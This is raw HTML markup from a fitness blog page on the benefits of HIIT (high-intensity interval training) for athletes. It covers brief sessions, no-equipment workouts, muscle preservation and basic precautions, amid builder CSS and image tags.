avia-builder-el-40  el_after_av_one_fifth  el_before_av_one_fifth  flex_column_div av-zero-column-padding  '     ><p>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-8dea40918b39a1f250b6caf015f13d0d\">\n#top .av-special-heading.av-av_heading-8dea40918b39a1f250b6caf015f13d0d{\npadding-bottom:10px;\n}\nbody .av-special-heading.av-av_heading-8dea40918b39a1f250b6caf015f13d0d .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-8dea40918b39a1f250b6caf015f13d0d .av-subheading{\nfont-size:15px;\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-8dea40918b39a1f250b6caf015f13d0d av-special-heading-h3 blockquote modern-quote  avia-builder-el-41  el_before_av_image  avia-builder-el-first '><h3 class='av-special-heading-tag '  itemprop=\"headline\"  >Brief Sessions.<\/h3><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div><br \/>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-a179dc481691e08ac128f09892919ef5\">\n.avia-image-container.av-av_image-a179dc481691e08ac128f09892919ef5 img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-a179dc481691e08ac128f09892919ef5 .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-a179dc481691e08ac128f09892919ef5 av-styling- av-hover-grow avia_animated_image av-animated-when-visible-95 left-to-right avia-align-center  avia-builder-el-42  el_after_av_heading  el_before_av_textblock '   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" fetchpriority=\"high\" class='wp-image-4995 avia-img-lazy-loading-not-4995 avia_image ' src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/Brief-sessions.jpg\" alt='HIIT:Brief sessions' title='Brief sessions'  height=\"427\" width=\"640\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/Brief-sessions.jpg 640w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Brief-sessions-300x200.jpg 300w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Brief-sessions-450x300.jpg 450w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Brief-sessions-128x85.jpg 128w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Brief-sessions-32x21.jpg 32w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/><\/div><\/div><\/div><br \/>\n<section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p style=\"text-align: justify\">HIIT is the most ideal form of cardio strengthening and fat burning routine for individuals with a tight schedule. A 15 to 20 minutes session three times a week is sufficient.<\/p>\n<\/div><\/section><\/p><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae av_one_fifth  avia-builder-el-44  el_after_av_three_fifth  avia-builder-el-last  flex_column_div av-zero-column-padding  '     ><\/div><\/div><\/div><\/div><!-- close content main div --><\/div><\/div><div id='av_section_8'  class='avia-section av-av_section-915b33fd1d6006bfc684ade488387eaf main_color avia-section-default avia-no-border-styling  avia-builder-el-45  el_after_av_section  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-4993'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36\">\n.flex_column.av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36 av_one_fifth  avia-builder-el-46  el_before_av_three_fifth  avia-builder-el-first  first flex_column_div av-zero-column-padding  '     ><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae av_three_fifth  avia-builder-el-47  el_after_av_one_fifth  el_before_av_one_fifth  flex_column_div av-zero-column-padding  '     ><p>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-7d66b805ceffa11176a14e98eb21aeb4\">\n#top .av-special-heading.av-av_heading-7d66b805ceffa11176a14e98eb21aeb4{\npadding-bottom:10px;\n}\nbody .av-special-heading.av-av_heading-7d66b805ceffa11176a14e98eb21aeb4 .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-7d66b805ceffa11176a14e98eb21aeb4 .av-subheading{\nfont-size:15px;\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-7d66b805ceffa11176a14e98eb21aeb4 av-special-heading-h3 blockquote modern-quote  avia-builder-el-48  el_before_av_image  avia-builder-el-first '><h3 class='av-special-heading-tag '  itemprop=\"headline\"  >No Equipment ? No Problem!<\/h3><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div><br \/>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-576126c2348fbdf9f325224d8c21ec6a\">\n.avia-image-container.av-av_image-576126c2348fbdf9f325224d8c21ec6a img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-576126c2348fbdf9f325224d8c21ec6a .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-576126c2348fbdf9f325224d8c21ec6a av-styling- av-hover-grow avia_animated_image av-animated-when-visible-95 left-to-right avia-align-center  avia-builder-el-49  el_after_av_heading  el_before_av_textblock '   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" fetchpriority=\"high\" class='wp-image-5004 avia-img-lazy-loading-not-5004 avia_image ' src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/No-Equipment-1.jpg\" alt='HIIT:No Equipment' title='No Equipment'  height=\"492\" width=\"714\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/No-Equipment-1.jpg 714w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/No-Equipment-1-300x207.jpg 300w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/No-Equipment-1-705x486.jpg 705w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/No-Equipment-1-450x310.jpg 450w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/No-Equipment-1-128x88.jpg 128w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/No-Equipment-1-32x22.jpg 32w\" sizes=\"(max-width: 714px) 100vw, 714px\" \/><\/div><\/div><\/div><br \/>\n<section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p style=\"text-align: justify\">The main focus in HIIT is on getting your heart rate up and keeping it there. This can be achieved in the gym using treadmill, cycle, elliptical and weights or can be achieved by doing body weight exercises like push ups, squats, mountain climbers, burpees or even sprints.<\/p>\n<\/div><\/section><\/p><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae av_one_fifth  avia-builder-el-51  el_after_av_three_fifth  avia-builder-el-last  flex_column_div av-zero-column-padding  '     ><\/div><\/div><\/div><\/div><!-- close content main div --><\/div><\/div><div id='av_section_9'  class='avia-section av-av_section-915b33fd1d6006bfc684ade488387eaf main_color avia-section-default avia-no-border-styling  avia-builder-el-52  el_after_av_section  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-4993'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36\">\n.flex_column.av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36 av_one_fifth  avia-builder-el-53  el_before_av_three_fifth  avia-builder-el-first  first flex_column_div av-zero-column-padding  '     ><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae av_three_fifth  avia-builder-el-54  el_after_av_one_fifth  el_before_av_one_fifth  flex_column_div av-zero-column-padding  '     ><p>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-35987075c542234ab53f3c2cc99cffc2\">\n#top .av-special-heading.av-av_heading-35987075c542234ab53f3c2cc99cffc2{\npadding-bottom:10px;\n}\nbody .av-special-heading.av-av_heading-35987075c542234ab53f3c2cc99cffc2 .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-35987075c542234ab53f3c2cc99cffc2 .av-subheading{\nfont-size:15px;\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-35987075c542234ab53f3c2cc99cffc2 av-special-heading-h3 blockquote modern-quote  avia-builder-el-55  el_before_av_image  avia-builder-el-first '><h3 class='av-special-heading-tag '  itemprop=\"headline\"  >Can Be Done Anywhere!<\/h3><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div><br \/>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-afdc04c4d72be53207a69bef308975dc\">\n.avia-image-container.av-av_image-afdc04c4d72be53207a69bef308975dc img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-afdc04c4d72be53207a69bef308975dc .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-afdc04c4d72be53207a69bef308975dc av-styling- av-hover-grow avia_animated_image av-animated-when-visible-95 left-to-right avia-align-center  avia-builder-el-56  el_after_av_heading  el_before_av_textblock '   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" fetchpriority=\"high\" class='wp-image-4994 avia-img-lazy-loading-not-4994 avia_image ' src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/Anywhere.jpg\" alt='HIIT:Anywhere' title='Anywhere'  height=\"612\" width=\"800\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/Anywhere.jpg 800w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Anywhere-300x230.jpg 300w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Anywhere-768x588.jpg 768w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Anywhere-705x539.jpg 705w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Anywhere-450x344.jpg 450w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Anywhere-128x98.jpg 128w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Anywhere-32x24.jpg 32w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/div><\/div><\/div><br \/>\n<section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p style=\"text-align: justify\">HIIT can be performed in gym or any free space where you can do burpees, sprints push ups etc. This makes high intensity training very convenient.<\/p>\n<\/div><\/section><\/p><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae av_one_fifth  avia-builder-el-58  el_after_av_three_fifth  avia-builder-el-last  flex_column_div av-zero-column-padding  '     ><\/div><\/div><\/div><\/div><!-- close content main div --><\/div><\/div><div id='av_section_10'  class='avia-section av-av_section-915b33fd1d6006bfc684ade488387eaf main_color avia-section-default avia-no-border-styling  avia-builder-el-59  el_after_av_section  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-4993'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36\">\n.flex_column.av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36 av_one_fifth  avia-builder-el-60  el_before_av_three_fifth  avia-builder-el-first  first flex_column_div av-zero-column-padding  '     ><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae av_three_fifth  avia-builder-el-61  el_after_av_one_fifth  el_before_av_one_fifth  flex_column_div av-zero-column-padding  '     ><p>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-97a7a59fc260ff12a580be701edffb57\">\n#top .av-special-heading.av-av_heading-97a7a59fc260ff12a580be701edffb57{\npadding-bottom:10px;\n}\nbody .av-special-heading.av-av_heading-97a7a59fc260ff12a580be701edffb57 .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-97a7a59fc260ff12a580be701edffb57 .av-subheading{\nfont-size:15px;\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-97a7a59fc260ff12a580be701edffb57 av-special-heading-h3 blockquote modern-quote  avia-builder-el-62  el_before_av_image  avia-builder-el-first '><h3 class='av-special-heading-tag '  itemprop=\"headline\"  >Preserves Muscle Mass.<\/h3><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div><br \/>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-216d0cb25b773f80bc8138948c9d50e5\">\n.avia-image-container.av-av_image-216d0cb25b773f80bc8138948c9d50e5 img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-216d0cb25b773f80bc8138948c9d50e5 .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-216d0cb25b773f80bc8138948c9d50e5 av-styling- av-hover-grow avia_animated_image av-animated-when-visible-95 left-to-right avia-align-center  avia-builder-el-63  el_after_av_heading  el_before_av_textblock '   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" fetchpriority=\"high\" class='wp-image-5005 avia-img-lazy-loading-not-5005 avia_image ' src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/Preserves-Muscle-1.jpg\" alt='HIIT:Preserves Muscle' title='Preserves Muscle'  height=\"563\" width=\"714\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/Preserves-Muscle-1.jpg 714w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Preserves-Muscle-1-300x237.jpg 300w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Preserves-Muscle-1-705x556.jpg 705w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Preserves-Muscle-1-450x355.jpg 450w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Preserves-Muscle-1-128x101.jpg 128w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Preserves-Muscle-1-32x25.jpg 32w\" sizes=\"(max-width: 714px) 100vw, 714px\" \/><\/div><\/div><\/div><br \/>\n<section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p style=\"text-align: justify\">HIIT routines allow you preserve their hard-earned muscles while ensuring most of the weight lost comes from fat stores. This is a very big plus for athletes considering the fact that Muscle mass is very crucial for performing better.<\/p>\n<\/div><\/section><\/p><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae av_one_fifth  avia-builder-el-65  el_after_av_three_fifth  avia-builder-el-last  flex_column_div av-zero-column-padding  '     ><\/div><\/div><\/div><\/div><!-- close content main div --><\/div><\/div><div id='av_section_11'  class='avia-section av-av_section-915b33fd1d6006bfc684ade488387eaf main_color avia-section-default avia-no-border-styling  avia-builder-el-66  el_after_av_section  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-4993'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36\">\n.flex_column.av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36 av_one_fifth  avia-builder-el-67  el_before_av_three_fifth  avia-builder-el-first  first flex_column_div av-zero-column-padding  '     ><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae av_three_fifth  avia-builder-el-68  el_after_av_one_fifth  el_before_av_one_fifth  flex_column_div av-zero-column-padding  '     ><p>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-75081a7bedee76685bac9dd4679b7818\">\n#top .av-special-heading.av-av_heading-75081a7bedee76685bac9dd4679b7818{\npadding-bottom:10px;\n}\nbody .av-special-heading.av-av_heading-75081a7bedee76685bac9dd4679b7818 .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-75081a7bedee76685bac9dd4679b7818 .av-subheading{\nfont-size:15px;\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-75081a7bedee76685bac9dd4679b7818 av-special-heading-h3 blockquote modern-quote  avia-builder-el-69  el_before_av_image  avia-builder-el-first '><h3 class='av-special-heading-tag '  itemprop=\"headline\"  > Precautions.<\/h3><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div><br \/>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-03b1176a93aba4c660bb8210a1fae273\">\n.avia-image-container.av-av_image-03b1176a93aba4c660bb8210a1fae273 img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-03b1176a93aba4c660bb8210a1fae273 .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-03b1176a93aba4c660bb8210a1fae273 av-styling- av-hover-grow avia_animated_image av-animated-when-visible-95 left-to-right avia-align-center  avia-builder-el-70  el_after_av_heading  el_before_av_textblock '   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" fetchpriority=\"high\" class='wp-image-4997 avia-img-lazy-loading-not-4997 avia_image ' src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/doctor.jpg\" alt='HIIT: Precaution' title='HIIT: Precaution'  height=\"480\" width=\"910\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/doctor.jpg 910w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/doctor-300x158.jpg 300w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/doctor-768x405.jpg 768w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/doctor-710x375.jpg 710w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/doctor-705x372.jpg 705w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/doctor-450x237.jpg 450w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/doctor-128x68.jpg 128w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/doctor-32x17.jpg 32w\" sizes=\"(max-width: 910px) 100vw, 910px\" \/><\/div><\/div><\/div><br \/>\n<section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p style=\"text-align: justify\">Three important things to remember are: &#8211;<\/p>\n<ul>\n<li>Consult a Doctor before taking up HIIT training program.<\/li>\n<li>For beginners, the traditional Steady State Cardio routine is recommended till they develop significant Cardiovascular strength and stamina.<\/li>\n<li>Don\u2019t overdo it. Yes, HIIT is highly effective form of fat loss and cardio strengthening, but it is equally taxing on the body. Overdoing it might result in injury or muscle pull.<\/li>\n<\/ul>\n<\/div><\/section><\/p><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae av_one_fifth  avia-builder-el-72  el_after_av_three_fifth  avia-builder-el-last  flex_column_div av-zero-column-padding  '     ><\/div><\/div><\/div><\/div><!-- close content main div --><\/div><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_section-1f23e05f8f3e3403d7a1eff28bc7dcf4\">\n.avia-section.av-av_section-1f23e05f8f3e3403d7a1eff28bc7dcf4{\nbackground-color:#efefef;\nbackground-image:unset;\n}\n<\/style>\n<div id='comments'  class='avia-section av-av_section-1f23e05f8f3e3403d7a1eff28bc7dcf4 main_color avia-section-default avia-no-border-styling  avia-builder-el-73  el_after_av_section  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-4993'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36\">\n.flex_column.av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36 av_one_fifth  avia-builder-el-74  el_before_av_three_fifth  avia-builder-el-first  first flex_column_div av-zero-column-padding  '     ><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae av_three_fifth  avia-builder-el-75  el_after_av_one_fifth  el_before_av_one_fifth  flex_column_div av-zero-column-padding  '     ><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae av_one_fifth  avia-builder-el-77  el_after_av_three_fifth  avia-builder-el-last  flex_column_div av-zero-column-padding  '     ><\/div>\n<\/p>\n<\/div><\/div><\/div><!-- close content main div --><\/div><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_section-dceef4ee0915d42d7b61d60da9f7830d\">\n.avia-section.av-av_section-dceef4ee0915d42d7b61d60da9f7830d{\nbackground-color:#efefef;\nbackground-image:unset;\n}\n<\/style>\n<div id='share'  class='avia-section av-av_section-dceef4ee0915d42d7b61d60da9f7830d main_color avia-section-default avia-no-border-styling  avia-builder-el-78  el_after_av_section  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-4993'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36\">\n.flex_column.av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36 av_one_fifth  avia-builder-el-79  el_before_av_three_fifth  avia-builder-el-first  first flex_column_div av-zero-column-padding  '     ><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae av_three_fifth  avia-builder-el-80  el_after_av_one_fifth  el_before_av_one_fifth  flex_column_div av-zero-column-padding  '     ><div  class='av-social-sharing-box av-av_social_share-d059bec7f6a76d9801f82e99ea99524c av-social-sharing-box-minimal  avia-builder-el-81  avia-builder-el-no-sibling  av-social-sharing-box-fullwidth'><div class=\"av-share-box\"><h5 class='av-share-link-description av-no-toc '>Share with friends<\/h5><ul class=\"av-share-box-list noLightbox\"><li class='av-share-link av-social-link-facebook avia_social_iconfont' ><a target=\"_blank\" aria-label=\"Share on Facebook\" href='https:\/\/www.facebook.com\/sharer.php?u=https:\/\/spyn.co\/blog\/benefits-hiit-sports\/&#038;t=BENEFITS%20OF%20HIIT%20IN%20SPORTS.' data-av_icon='\ue8f3' data-av_iconfont='entypo-fontello'  title='' data-avia-related-tooltip='Share on Facebook'><span class='avia_hidden_link_text'>Share on Facebook<\/span><\/a><\/li><li class='av-share-link av-social-link-twitter avia_social_iconfont' ><a target=\"_blank\" aria-label=\"Share on X\" 